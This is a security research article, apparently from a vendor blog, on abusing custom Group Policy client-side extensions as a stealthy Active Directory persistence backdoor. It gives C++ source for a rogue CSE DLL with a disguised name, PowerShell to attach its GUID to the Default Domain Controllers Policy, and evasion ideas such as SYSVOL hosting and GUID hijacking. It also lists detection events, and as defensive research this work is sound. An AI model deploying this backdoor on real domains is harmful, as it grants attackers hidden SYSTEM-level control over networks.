Abusing Client-Side Extensions (CSE): A Backdoor into Your AD Environment
Crucial for applying Active Directory Group Policy Objects, client-side extensions (CSEs) are powerful but also present a significant, often overlooked, attack vector for persistent backdoors. Rather than cover well-documented common abuses of built-in CSEs, this article demonstrates how to create custom malicious ones. These are harder for defenders to identify than legitimate built-in CSEs used in malicious contexts, which have known globally unique identifiers.
What are Group Policy Objects?Group Policy Objects (GPOs), a core feature of Active Directory (AD), allow administrators to centrally manage and configure operating systems, applications and user settings across all computers in a domain by configuring a set of rules and configurations.
(Source: Microsoft)
It is well-known that attackers with sufficient AD access can abuse GPOs for malicious actions like code execution, malware deployment, immediate scheduled tasks, privilege escalation, and stealthy persistence establishment; these techniques are generally well-documented.
Each GPO comprises two main parts:
- The groupPolicyContainer object (GPC) in AD’s LDAP, holding metadata such as display names and CSE lists
- The Group Policy Template (GPT) in AD’s SYSVOL share, containing the actual policy files and scripts
Have you ever wondered how the settings defined in a GPO actually get applied on a client computer? The magic behind this process lies in the CSEs.
CSEs are critical components that enable GPOs to apply specific settings such as software installation, registry edits, folder redirection, scheduled tasks, or Internet / power options and more to client machines.
While Group Policy defines and distributes configuration policies across the network, it’s the CSE on the client side that interprets and enforces these policies. Each CSE is essentially a dynamic link library (DLL) file on the client Windows machine responsible for processing a particular type of Group Policy setting. When a computer processes GPOs, its Group Policy engine reads the policies and invokes the relevant CSEs to effectively apply the settings.
The successful application of settings from a specific Group Policy area relies on the correct handling of CSEs. Even if a GPO is properly linked and the user/machine is included in the security filter, the settings it contains may fail to apply under two key conditions related to CSEs:
- The CSE is not installed and registered on the client machine.
- The CSE's GUID is not listed in the GPO's attributes.
Therefore, both the local CSE availability and its correct reference within the GPO’s attributes are mandatory.
What do CSEs look like on a client machine?Every CSE is uniquely identified by a Globally Unique Identifier (GUID). This GUID acts as the registration key and the link between the policy settings defined in the GPO and the processing logic (the DLL) on the client.
While official Microsoft documentation mentions some CSEs, the list is incomplete. A more complete list can be found online. Also, the following PowerShell command can be executed on your machine to list them:
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" | Select-Object @{Name='GUID';Expression={$_.PSChildName}}, @{Name='Name';Expression={$_.GetValue('')}}CSEs are registered in the registry under the following path:
HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
On the left, under the GPExtensions key, you will find multiple subkeys, each named with the GUID of a specific CSE. The settings of each of them are defined on the right.
Here are some important settings to be aware of:
- (Default): This is the name of the CSE.
- DllName: This the DLL corresponding to the CSE to be loaded by the GPO engine. The system searches for the DLL in the C:\Windows\System32 directory when a relative path is used. Alternatively, the full path to the DLL can be directly specified.
- NoGPOListChanges: If this value is 1, it indicates that it is not necessary to call the callback function (ProcessGroupPolicy) when there has been no change in the GPO.
- ProcessGroupPolicy: This is the name of the function exported by the library to be called by the GPO engine to apply the CSE settings.
For detailed information on other functionalities, please consult the official Microsoft documentation on Creating a Policy Callback Function.
What do CSEs look like in a GPO?When you configure settings within a specific GPO using the Group Policy Management Editor, the tool records which types of settings you've configured and the necessary CSEs. It does this by storing the GUIDs of these CSEs within attributes of the GPC object in AD.
Specifically, you need to look at these two attributes on the GPC object:
- gPCMachineExtensionNames: This attribute lists the GUIDs of the CSEs required to process settings configured in the Computer Configuration section of the GPO.
- gPCUserExtensionNames: This does the same for user configuration.
The expected format is the concatenation of the GUIDs:
[<CSE GUID1><TOOL GUID1>][<CSE GUID2><TOOL GUID2>] etc.
For example, if we analyze the gPCMachineExtensionNames attribute of the “Default Domain Policy” shown above, we can see that the first part of each GUID-pair in the screenshot above can be identified as a CSE:
- 35378EAC-683F-11D2-A89A-00C04FBBCFA2: Registry/Administrative Template
- 827D319E-6EAC-11D2-A4EA-00C04F79F83A: Security
- B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A: EFS
Note: CSE GUIDs within Group Policy attributes, such as gPCMachineExtensionNames, must be sorted in case-insensitive ascending order. If this order is not maintained, CSEs risk being ignored during Group Policy processing.
The first GUID relates to the CSE function, and the second GUID in the pair is not important for today. For deeper GPO auditing insights, see Aurélien Bordes' 2019 SSTIC paper.
Creating our own CSE for persistenceArticles discussing the malicious use of CSEs in AD often highlight two themes: the potential for red teams to abuse specific well-known CSEs, and the corresponding need for blue teams to track their execution. For instance:
- Scheduled Tasks {AADCED64-746C-4633-A97C-D61349046527}:
- Files {7150F9BF-48AD-4DA4-A49C-29EF4A8369BA}:
- Various CSEs:
Surprisingly, public methods or articles explaining how to abuse custom CSEs for this persistence method seem absent, especially given that Microsoft explains the CSE creation process itself. This obscurity is valuable to an attacker, offering inherent discretion through an unknown CSE GUID, plus the benefit of SYSTEM code execution capability.
Let's proceed by creating a custom CSE to explore different ways attackers might leverage it for malicious purposes.
Write it and compile itWe will use Visual Studio to create a custom CSE DLL with the friendly name “Group Policy Shell Configuration” and filename advshcore.dll (using base advshcore to appear inconspicuous in the System32 Windows folder). Create a new DLL project, name it “RogueCSE,” and click “Create” to begin.
In your project, create advshcore.def and add this content:
LIBRARY "advshcore" EXPORTS ProcessGroupPolicy DllRegisterServer PRIVATE DllUnregisterServer PRIVATEIn dllmain.cpp, now add the necessary includes, defines, and variables functions:
#include "pch.h" #include <userenv.h> // For Group Policy API #include <stdio.h> #include <tchar.h> #define ROGUECSE_PATH TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPExtensions\\{54a88399-50b3-4f44-8fe4-373fc441a1ac}") #define ROGUECSE_NAME TEXT("Group Policy Shell Configuration") // Fake name for the CSE // GUID for the custom CSE - could be any GUID // {54a88399-50b3-4f44-8fe4-373fc441a1ac} const GUID CSE_GUID = { 0x54a88399, 0x50b3, 0x4f44, { 0x8f, 0xe4, 0x37, 0x3f, 0xc4, 0x41, 0xa1, 0xac } };Implement the DllMain function as follows:
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }Next, two helper functions are created. The first, a simple logger, proves privileged SYSTEM code execution by writing to a file. Though this example is benign, attackers could substitute malicious code, such as for a reverse shell, C2 agent, or NTDS.dit exfiltration to a public share.
void LogToFile(const TCHAR* pszMessage) { FILE* pFile = NULL; _tfopen_s(&pFile, TEXT("C:\\RogueCSE.log"), TEXT("a+, ccs=UTF-8")); if (pFile) { SYSTEMTIME st; GetLocalTime(&st); _ftprintf(pFile, TEXT("[%02d/%02d/%04d %02d:%02d:%02d] %s\n"), st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, pszMessage); fclose(pFile); } }Next, a function logs the execution context:
void LogExecutionContext() { // Get process information DWORD processId = GetCurrentProcessId(); TCHAR processPath[MAX_PATH] = { 0 }; DWORD processPathSize = GetModuleFileName(NULL, processPath, ARRAYSIZE(processPath)); TCHAR* processName = processPath; for (TCHAR* p = processPath; *p; p++) { if (*p == TEXT('\\') || *p == TEXT('/')) processName = p + 1; } TCHAR buffer[512]; if (processPathSize > 0) { _stprintf_s(buffer, ARRAYSIZE(buffer), TEXT("DLL loaded by process: %s (PID: %lu)"), processName, processId); } else { _stprintf_s(buffer, ARRAYSIZE(buffer), TEXT("DLL loaded by process with PID: %lu (couldn't get name, error: %lu)"), processId, GetLastError()); } LogToFile(buffer); // Get the current user TCHAR username[256] = { 0 }; DWORD usernameSize = ARRAYSIZE(username); if (GetUserName(username, &usernameSize)) { TCHAR buffer[512] = { 0 }; _stprintf_s(buffer, 512, TEXT("DLL running under user: %s"), username); LogToFile(buffer); } else { DWORD error = GetLastError(); TCHAR buffer[512] = { 0 }; _stprintf_s(buffer, 512, TEXT("Failed to get username, error code: %d"), error); LogToFile(buffer); } }We will now follow Microsoft's guidance for custom CSEs, implementing only the exported ProcessGroupPolicy function with minimal content for our test.
DWORD CALLBACK ProcessGroupPolicy( DWORD dwFlags, HANDLE hToken, HKEY hKeyRoot, PGROUP_POLICY_OBJECT pDeletedGPOList, PGROUP_POLICY_OBJECT pChangedGPOList, ASYNCCOMPLETIONHANDLE pHandle, BOOL* pbAbort, PFNSTATUSMESSAGECALLBACK pStatusCallback) { // Log that the CSE was called LogToFile(TEXT("ProcessGroupPolicy called")); // Log both process and user information LogExecutionContext(); // Check if machine or user policy is being processed if (dwFlags & GPO_INFO_FLAG_MACHINE) { LogToFile(TEXT("Processing machine policy")); } else { LogToFile(TEXT("Processing user policy")); } return ERROR_SUCCESS; }And that’s it, we have all the minimum requirements for our own CSE.
An extension can be registered here either manually or automatically:
- Manually: You can do this by creating all the required items, as we explained previously in the section “What do CSEs look like on a client machine?”
- Automatically: As described by Microsoft in the CSE documentation (and also in the Component Object Model -COM- documentation), the “DllRegisterServer” function can be implemented to allow self-registration using regsvr32.
The automatic method requires “DllRegisterServer” and “DllUnregisterServer” to manage the following registry keys:
- The key associated with our GUID under HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions.
- (Default): “Group Policy Shell Configuration”.
- DllName: “advshcore.dll”.
- NoGPOListChanges: “0” to call the ProcessGroupPolicy function every time, even if there is no change in the GPO.
- ProcessGroupPolicy: We kept the suggested name here.
The Solution Explorer should now show the project like this:
RogueCSE ├── References ├── External Dependencies ├── Header Files ├── Resource Files ├── Source Files │ ├── advshcore.def │ ├── dllmain.cpp │ └── pch.cppBefore building, change the Visual Studio solution configuration to Release (x64) from its Debug (x64) default using the toolbar's dropdown menu. Then:
- Open the RogueCSE project properties (Right-click > Properties).
- Verify that Configuration is Release and Platform is x64.
- Under Configuration Properties > General:
- Set Target Name to “advshcore”.
- Under Configuration Properties > C/C++ > Code Generation:
- Change Runtime Library to Multi-threaded (/MT).
- Under Configuration Properties > Linker > Input:
- Enter “advshcore.def” for Module Definition File.
- Click “Apply” and then “OK” to save these project settings.
- Finally, build the solution by selecting Build > Build Solution from the main menu bar. Your custom DLL (“advshcore.dll”) is now ready to be registered as a new CSE.
Recall that this technique represents a novel persistence method, effectively creating a backdoor in the domain on targeted workstations and servers. For this example scenario, assume an attacker gains sufficient privileges (e.g., Domain Admins) to access and operate on a domain controller.
On the compromised domain controller, the attacker would then perform these steps:
- Copy the previously created DLL file (“advshcore.dll”) to the C:\Windows\System32 folder.
- Register the DLL by executing the following command:
A confirmation will be displayed indicating that the DLL registration succeeded.
You can verify in the registry that the custom CSE has been registered correctly.
Loading and enabling our DLL through the Group Policy Client Service (GPSVC)
As explained at the beginning of this article, a GPO only loads CSEs whose GUIDs are listed in its gPCMachineExtensionNames or gPCUserExtensionNames attributes. Therefore, to enable our custom CSE, we must now add its GUID to the gPCMachineExtensionNames attribute of the target GPO.
We can use the following PowerShell code to perform this update:
# Get the Default Domain Controllers Policy by its well-known GPO GUID $GPOdn = "CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Policies," + (Get-ADDomain).SystemsContainer $CurrentExtensions = Get-ADObject -Identity $GPOdn -Properties gPCMachineExtensionNames | Select-Object -ExpandProperty gPCMachineExtensionNames # The second GUID can be a NULL GUID as Microsoft suggests "Vendors can specify a NULL GUID for the tool extension GUID" (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/b4e136b5-5f8f-41dd-9f16-77cf19854e76) # or anything (cf. "What do CSEs look like in a GPO?" section) $CustomCSE = "[{54a88399-50b3-4f44-8fe4-373fc441a1ac}{00000000-0000-0000-0000-000000000000}]" if (-not ($CurrentExtensions.Contains($CustomCSE))) { $NewExtensions = $CustomCSE + $CurrentExtensions Set-ADObject -Identity $GPOdn -Replace @{gPCMachineExtensionNames = $NewExtensions} Write-Host "Successfully added custom CSE to Default Domain Controllers Policy" }
Next, either wait for the Group Policy refresh cycle, which typically takes about five minutes on domain controllers, or trigger an immediate update by running gpupdate /force on the test domain controller.
After the policy refresh, verify that the C:\RogueCSE.log file has been created with content like:
Note that the custom code within the CSE DLL runs in the Group Policy Client service context (GPSVC) and with highly privileged SYSTEM permissions.
Observing the log file over time confirms that the custom CSE code executes during each Group Policy refresh cycle. On the domain controller, this refresh occurs at the short interval mentioned earlier of around 5 minutes. This persistence method also works on member machines, although their default refresh interval is significantly longer – approximately 90 minutes, plus a random offset.
In summary, a custom CSE, advshcore.dll, was successfully deployed to a DC, demonstrating basic logging. This served as a proof-of-concept but also highlighted significant abuse potential. Adversaries could exploit Group Policy infrastructure for stealthy communication channels or persistent backdoors. Leveraging native OS features instead of external malicious tools makes this technique difficult to detect through forensic analysis or threat identification. This underscores the vital need for vigilant monitoring and strict security controls for GPOs and CSEs in AD environments.
Weaponizing a custom CSE across the network: potential scenariosWith the fundamental steps covered, let's consider broader application. An attacker with domain privileges (e.g., Domain Admin) could propagate this CSE-based persistence across the network.
To distribute the payload, the attacker might place the DLL in an inconspicuous SYSVOL location like \\SYSVOL\<domain_name>\scripts\SecurityProviders, making it domain-accessible. We will now explore various approaches, analyzing their strengths and weaknesses.
Increased reliability at the cost of detectabilityTo ensure reliable deployment, especially for intermittently connected endpoints, attackers might use Files Group Policy Preference to copy the custom CSE DLL locally, allowing its registry path to point to this local file. A GPO, often using a startup script, can then register this local CSE. Its gPCMachineExtensionNames attribute must also be updated with the GUIDs of any required built-in CSEs and the custom one.
Although robust, this deployment method increases detectability due to significant GPO changes and the typical use of known CSEs for payload delivery, a pattern often monitored. Detecting such activity can involve Windows Event Log analysis, including:
Security Event ID 5145: Monitor this event to detect write access to the SYSVOL share. This can identify when the malicious DLL is written, or when files related to Group Policy settings for Files Preferences, Scheduled Tasks, or Startup Scripts are created or modified within SYSVOL.
- Security Event ID 4688 “A new process has been created”: Monitor this event, specifically its "Process Command Line" field, to detect specific types of process execution. This can identify when a startup script is run or a process is launched by an immediate scheduled task.
- Task Scheduler Operational Event ID 201: Monitor this event to identify the specifics of completed scheduled tasks. This can reveal the task name (e.g., "Test2") and the action it performed (e.g., running ‘cmd.exe’).
- gPCMachineExtensionNames attribute: Finally, monitor this critical attribute for unauthorized changes. These can be found via LDAP queries or Security Event ID 5136,which logs directory object modifications.
Note: The discussed large-scale deployment methods using common Group Policy features (Files GPP, Scripts, Scheduled Tasks) often trigger blue team alerts.
Enhanced stealth at the cost of reliabilityAlternatively, a custom CSE DLL can be hosted on a network share, instead of being copied locally, and loaded via its registered network path. For our straightforward example, SYSVOL will serve as this share, and the DLL's registered path will point there.
PowerShell cmdlets like New-ItemProperty offer an alternative to regsvr32.exe for CSE DLL registration, potentially bypassing common monitoring of regsvr32 (documented by the MITRE ATT&CK T1218.010). This remote-scriptable method lacks GPO-based persistence – the backdoor won't be reapplied by GPO if altered – but offers stealth: a GPO attribute having only a custom GUID might bypass certain defenses.
GUID hijacking is another stealthy approach: attackers redirect an unused legitimate CSE's registered DLL path to a malicious one. Adding this compromised but valid-looking GUID to a GPO can bypass defenses that only check GUIDs, not DLL paths.
These examples show custom malicious CSEs' covert potential.
ConclusionAbusing custom CSEs can create stealthy backdoors into AD environments. Attackers can deploy custom DLLs and register them as CSEs, and then manipulate GPOs to load these malicious extensions. This technique leverages trusted Windows components, making it difficult to detect using standard security measures.
Traditional detections often focus on famously abused CSEs, such as those for Scheduled Tasks or Startup Scripts. However, registering and deploying a custom CSE can be achieved without these easily identifiable actions, bypassing common alerts. Techniques like hosting the DLL on a network share and directly modifying the registry can further reduce detectability, though these methods might trade off reliability. Alternatively, hijacking an unused built-in CSE GUID and altering its DLL path can be a particularly evasive strategy.
While the initial registration of a custom CSE can be detected, once the backdoor is configured within a GPO, identifying it becomes challenging. The CSE code runs with SYSTEM privileges during each Group Policy refresh cycle, offering persistent and potentially long-term control to an attacker. This highlights the importance of rigorously monitoring CSE registrations and GPO modifications, as well as examining event logs for unexpected activity related to Group Policy Client Service (GPSVC) and changes in the gPCMachineExtensionNames attribute. Regularly checking for custom CSEs as Tenable Identity Exposure does through the GPO Execution Sanity Indicator of Exposure is essential for securing Active Directory environments.